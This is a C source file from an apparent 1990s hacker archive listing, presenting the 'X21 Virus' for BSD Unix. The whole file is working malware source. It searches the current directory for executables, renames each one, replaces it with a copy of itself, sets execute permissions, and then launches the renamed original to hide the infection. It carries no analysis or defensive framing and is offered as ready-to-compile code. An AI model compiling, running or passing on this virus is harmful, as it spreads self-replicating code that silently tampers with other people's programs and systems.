home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / UNIX / X21.C next >
Encoding:
C/C++ Source or Header  |  1995-07-28  |  2.9 KB  |  67 lines

  1. /* The X21 Virus for BSD Free Unix 2.0.2 (and others)              */
  2. /* (C) 1995 American Eagle Publications, Inc. All rights reserved! */
  3. /* Compile with Gnu C, "GCC X21.C"                                 */
  4.  
  5. #include <stdio.h>
  6. #include <sys/types.h>
  7. #include <dirent.h>
  8. #include <sys/stat.h>
  9.  
  10. DIR *dirp;                            /* directory search structure */
  11. struct dirent *dp;                    /* directory entry record */
  12. struct stat st;                       /* file status record */
  13. int stst;                             /* status call status */
  14. FILE *host,*virus;                    /* host and virus files. */
  15. long FileID;                          /* 1st 4 bytes of host */
  16. char buf[512];                        /* buffer for disk reads/writes */
  17. char *lc;                             /* used to search for X21 */
  18. size_t amt_read;                      /* amount read from file */
  19.  
  20. int main(argc, argv, envp)
  21.   int argc;
  22.   char *argv[], *envp[];
  23.   {
  24.     dirp=opendir(".");                              /* begin directory search */
  25.     while ((dp=readdir(dirp))!=NULL) {           /* have a file, check it out */
  26.       if ((stst=stat((const char *)&dp->d_name,&st))==0) {      /* get status */
  27.         lc=(char *)&dp->d_name;
  28.         while (*lc!=0) lc++;
  29.         lc=lc-3;                    /* lc points to last 3 chars in file name */
  30.         if ((!((*lc=='X')&&(*(lc+1)=='2')&&(*(lc+2)=='1')))       /* "X21"? */
  31.                  &&(st.st_mode&S_IXUSR!=0)) {
  32.     
  33.           strcpy((char *)&buf,(char *)&dp->d_name);
  34.           strcat((char *)&buf,".X21");
  35.           if ((host=fopen((char *)&buf,"r"))!=NULL) fclose(host);
  36.           else {
  37.      
  38.  
  39.  
  40.  
  41.             if (rename((char *)&dp->d_name,(char *)&buf)==0) {/* rename hst */
  42.               if ((virus=fopen(argv[0],"r"))!=NULL) {
  43.                 if ((host=fopen((char *)&dp->d_name,"w"))!=NULL)
  44.                   {
  45.                     while (!feof(virus)) {        /* and copy virus to orig */
  46.                       amt_read=512;                            /* host name */
  47.                       amt_read=fread(&buf,1,amt_read,virus);
  48.                       fwrite(&buf,1,amt_read,host);
  49.                       }
  50.                   fclose(host);
  51.                   strcpy((char *)&buf,"./");
  52.                   strcat((char *)&buf,(char *)&dp->d_name);
  53.                   chmod((char *)&buf,S_IRWXU|S_IXGRP);
  54.                   }
  55.                 fclose(virus);                /* infection process complete */
  56.                 }                                          /* for this file */
  57.               }
  58.             }
  59.           }
  60.         }
  61.       }
  62.     (void)closedir(dirp);          /* infection process complete for this dir */
  63.     strcpy((char *)&buf,argv[0]);          /* the host is this program's name */
  64.     strcat((char *)&buf,".X21");                     /* with an X21 tacked on */
  65.     execve((char *)&buf,argv,envp);            /* execute this program's host */
  66.     }
  67.